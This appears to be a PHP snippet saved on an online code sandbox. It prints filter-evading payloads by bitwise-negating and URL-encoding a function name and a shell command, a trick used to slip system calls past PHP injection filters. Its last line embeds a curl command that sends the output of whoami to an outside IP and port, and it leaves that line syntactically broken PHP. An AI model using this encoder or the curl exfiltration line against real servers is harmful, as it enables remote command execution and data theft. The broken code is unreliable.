Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
// 提示⽤户输⼊函数名
fwrite(STDOUT, '[+] your function: ');
// 获取⽤户输⼊的函数名,并移除换⾏符
$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
// 检查输⼊是否为空
if (empty($system)) {
fwrite(STDOUT, "Error: Function name cannot be empty.\n");
exit(1);
}
// 提示⽤户输⼊命令
fwrite(STDOUT, '[+] your command: ');
// 获取⽤户输⼊的命令,并移除换⾏符
// 检查输⼊是否为空
$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
if (empty($command)) {
fwrite(STDOUT, "Error: Command cannot be empty.\n");
exit(1);
}
// 输出按位取反后的URL 编码结果
echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$curl http://47.101.160.122:8888/?d=`whoami`) . ');';
?>